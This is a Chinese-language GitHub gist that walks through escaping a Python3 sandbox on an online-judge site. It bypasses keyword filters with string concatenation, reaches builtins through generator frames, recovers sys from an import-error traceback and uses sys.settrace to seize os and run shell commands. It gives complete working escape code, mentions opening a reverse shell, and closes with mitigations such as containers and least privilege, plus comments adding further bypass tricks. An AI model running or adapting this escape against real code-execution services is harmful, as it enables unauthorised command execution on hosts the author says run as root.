Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 36 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save adolli/950fed468c8916d213f73b0546a07e1d to your computer and use it in GitHub Desktop.
Save adolli/950fed468c8916d213f73b0546a07e1d to your computer and use it in GitHub Desktop.
如何使用python3逃逸沙箱,获得进程上下文权限提升

如何使用python3逃逸沙箱,获得进程上下文权限提升

最近突发奇想,想对所掌握的python知识进行总结一下,目前其实还停留在python层面如何使用,还没有深入到虚拟机部分,如果下面有哪些错误,欢迎指出。

背景

OJ(Online judge, 在线编程测评提交代码到后台运行检查)网站一般都允许各种各样的代码提交,其中很有可能包含python3,于是决定尝试通过python3的代码执行,进行沙箱逃逸,以及绕过各种限制。

我随便找了一个OJ网站,这个站点的python3有如下限制

  • 代码字面量不能出现一些敏感词,例如open, os, read, globals, locals, vars, raise, getattr, exec, eval, compile, 等...
  • 模块黑名单,无法通过任何方式导入os, sys, gc等以及包含了他们的模块的模块(如inspect就包含了sys,所以也不能导入)
  • 以及一些非常变态的,不允许出现连续的两个下划线 __
  • 没有任何输出反馈,也就是print没作用

基本前提

在以上的限制下

  • 也就是几乎没有能导入的模块了,有少部分可以但也没法用
  • 没有局部变量列表,没有全局变量列表
  • 但是可以import marshal但这对于破解不是必须的

我决定给自己增加一点难度,因为其实虽然看不到globals,但是python3.5之后又自己的loader机制,所以全局变量里默认是有__loader__这个的,可以通过这个来进入到_imp模块内部

  • 不通过任何import语句获得模块
  • 不使用全局变量里的sys, __loader__(怀疑是忘记去掉了)

开始

目标: 获得当前进程的shell

整个步骤大致如下

  1. 尝试code object
  2. 获得frame object
  3. 获得builtins,获得getattr, open, __import__等关键函数
  4. 如何输出信息?
  5. 产生os或sys相关的error,获取traceback对象,获取tb_frame,获取f_locals,获取sys模块
  6. 使用sys.settrace,寻找os模块
  7. 使用os.system

尝试code object

要获得shell,很自然想到os.system(), subprocess.*, 那么如何拿到os?本来想通过code object的成员找到引用,但是突然意识到code并不是runtime,必须还得有execeval,而这两个目前只能用字面量获得,字面量有敏感词限制。

核心的思路还是通过非字面量获得对象,那么在哪里能通过非字面量对象获取对象?自然想到了frame object

获得frame object

以下是python3里所有可以获得frame对象的地方

  • sys.settrace(lambda frame, ...)
  • threading.settrace(lambda frame, ...)
  • sys._getframe(0)
  • <generator>.gi_frame
  • <coroutine>.cr_grame
  • traceback.TracebackException

显然只有generator和coroutine不需要额外导入模块,以generator为例,python3里有各种各样的generator的

  • g = (_ for _ in ())
  • def _(): yield; g = _()

然后

>>> g
<generator object func at 0x1016c1f48>
>>> g.gi_frame
<frame at 0x1017d9048, file '<stdin>', line 1, code func>

获得builtins,获得getattr, open, __import__等关键函数

builtins = g.gi_frame.f_builtins
ex_ec = builtins['ex''ec']  # 用字符串拼接绕开字面量敏感词
ga = builtins['get''attr']
ip = builtins['_''_im''port_''_']
op = builtins['op''en']

>>> ex_ec
<built-in function exec>

到此为止,我们已经得到了exec, getattr, __import__, open,这几个关键函数可以解除很多限制

  • exec: 执行任意代码
  • getattr: 读取对象任意属性
  • open: 读取文件系统

如何输出信息?

由于没有屏蔽报错信息,所以可以通过traceback信息看反馈

# 假设下面是要打印的变量
v = ...

# 下面调用会报KeyError
_ = {}
_[v]

产生os或sys相关的error,获取traceback对象,获取tb_frame,获取f_locals,获取sys模块

正好由于import一个被禁用的模块会报错,那我们在捕捉这个报错的时候就能拿到exception object,通过此对象可获得tb object,进一步获得tb_frame,由于是import相关的逻辑,内部一定存在sys模块,如果没有,那么顺着帧栈往上找(f_back)

try:
    import gc
except Exception as e:
    tb_frame = ga(e, '_''_traceback_''_').tb_frame
    f_loc_als = ga(tb_frame, 'f_loc''als')
    _s_y_s_ = f_loc_als['s''ys']  # 多数情况下都有,没有的话就在f_back里找,总会找到
    _s_y_s_.settrace(tracefunc)

使用sys.settrace,寻找os模块

有了sys模块,那就可以做更多的事情了,已知sys.modules里相关模块已经被去除,所以换其他办法,可以通过settrace来跟踪每一个调用,settrace本来是用作profile分析的,这个方法接受一个回调函数,python每执行一行代码、或每进入一个新函数栈都会回调一次传入的回调函数,非常暴力。

tracefunc实现很暴力也很简单,这里就直接对每一帧的globals和locals里的所有对象进行扫描判断,一旦执行到os模块相关的代码,立即会捕捉到os模块,然后也别等了,直接调用相关方法

def shell(mod):
    return ga(mod, 'sy''stem')

def safe_repr(v):
    try:
        return repr(v)
    except:
        return ''

def make_tb_text(v):
    _ = {}
    _[v]

def tracefunc(frame, event, arg):
    if event == 'call':
        f_loc_als = ga(frame, 'f_loc''als')
        f_glo_bals = ga(frame, 'f_glo''bals')
        for scope in (f_loc_als, f_glo_bals):
            for k, v in scope.items():
                if "module 'o""s'" in safe_repr(v):
                    #make_tb_text(v)
                    shell(v)('ls')   # 这里以ls为例
                    return

# 租后随便import一个os相关的模块,触发上面tracefunc
import gc

使用os.system

上面的代码其实已经写出了os.system的调用,到此为止已经可以执行任意的shell了,可以直接起一个后台进程连到某远程服务器,开启一个反弹shell。

完整code

# coding=utf-8


def func(): yield
g = func()
builtins = g.gi_frame.f_builtins
ga = builtins['get''attr']
op = builtins['op''en']
ex = builtins['ex''ec']
ip = builtins['_''_import_''_']
ld = builtins['_''_loader_''_']


def shell(mod):
    return ga(mod, 'sy''stem')

def safe_repr(v):
    try:
        return repr(v)
    except:
        return ''

def make_tb_text(v):
    _ = {}
    _[v]

def tracefunc(frame, event, arg):
    if event == 'call':
        f_loc_als = ga(frame, 'f_loc''als')
        f_glo_bals = ga(frame, 'f_glo''bals')
        for scope in (f_loc_als, f_glo_bals):
            for k, v in scope.items():
                if "module 'o""s'" in safe_repr(v):
                    #make_tb_text(v)
                    shell(v)('ls')
                    return

try:
    o = ip('o''s')
except Exception as e:
    tb_frame = ga(e, '_''_traceback_''_').tb_frame
    f_loc_als = ga(tb_frame, 'f_loc''als')
    _s_y_s_ = f_loc_als['s''ys']
    _s_y_s_.settrace(tracefunc)
 
import gc

简单总结

整个过程其实没有用到exec,其实也用不到,也没有通过修改importlib里的函数来绕过loader的限制,可能importlib里直接改loader就行了,但是由于我不熟悉importlib的使用,所以没往这方面尝试。

另外由于始终避免不了少量的字面量代码,如.gi_frame,如果这个被设为敏感词,那么以上方法将全部失效。

最后请大家不要模仿,这不是个学习python的正确途径

此OJ网站问题根源

根源在于判题器(上面代码运行的环境)的进程运行上下文本身权限过大,此判题器使用root用户启动与数据库直接连接,没有隔离任何文件系统,直接在vm上面启动进程。因此一旦代码执行权限溢出,那就是相当于直接用root用户在vm上执行程序了。

如何避免

从用户体验角度来讲,在python限制各种敏感词和没有打印输出反馈是很难受的,并且这并没有根本解决权限溢出问题,只要python解释器的上下文是在root里,那就总有办法逃逸出解释器。

可以做以下方面的限制,从上下文和资源角度隔离,方便快捷,不需要改变python解释器自身行为

  • 使用docker/cgroups等PID, IPC, FS, NET的隔离方案,简单一点的话就使用最小权限的用户启动进程
  • 不要直接连接数据库,输入数据通过文件
  • 网络传出流量只允许白名单

对于解释器方面可以简单做以下调整

  • 编译解释器的时候不包含sys和os模块
  • 编译解释器的时候修改一下opcode映射,避免marshal.loads攻击
@adolli
Copy link
Author

adolli commented Sep 10, 2019

补充

还有哪些可以获取frame的办法?

通过自己组装对象,实现__exit__函数,然后再with context里产生报错,参数里就自然获取了traceback object,然后就可以拿到tb_frame成员

# coding=utf-8

def the_enter(self): pass
def the_exit(self, exc_type, exc_value, tb):
    builtins = tb.tb_frame.f_builtins               # <=========
    ga = builtins['get''attr']
    print(ga)

members = {
    '_''_enter_''_': the_enter,
    '_''_exit_''_': the_exit,
}
o = type('o', (object, ), members)()
with o:
    _

@adolli
Copy link
Author

adolli commented Sep 19, 2019

补充2

看来是我对python了解还不够,用operator库是就可以非常简单的实现內建的getattr函数一样效果

import operator

def get_attr(obj, attr, dft):
    getter = operator.attrgetter(attr)
    return getter(obj) or dft    # 这里这样写取默认值不对的,但是不管了

额外提一下,operator库里的方法基本都是CPython里直接实现的,并没有python代码,因此性能来说理论上比调用getattr会好些(cookbook说的,你们可以测一下)。

这种写法就有点像函数式编程里的参数调序与柯里化结合了,可以发现如下等价关系

operator.attrgetter := attr -> (obj, dft) -> getattr(obj, attr, dft)

移项得

getattr := (obj, attr, dft) -> operator.attrgetter(attr)(obj, dft)

或者

getattr · operator.attrgetter := <F identity>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment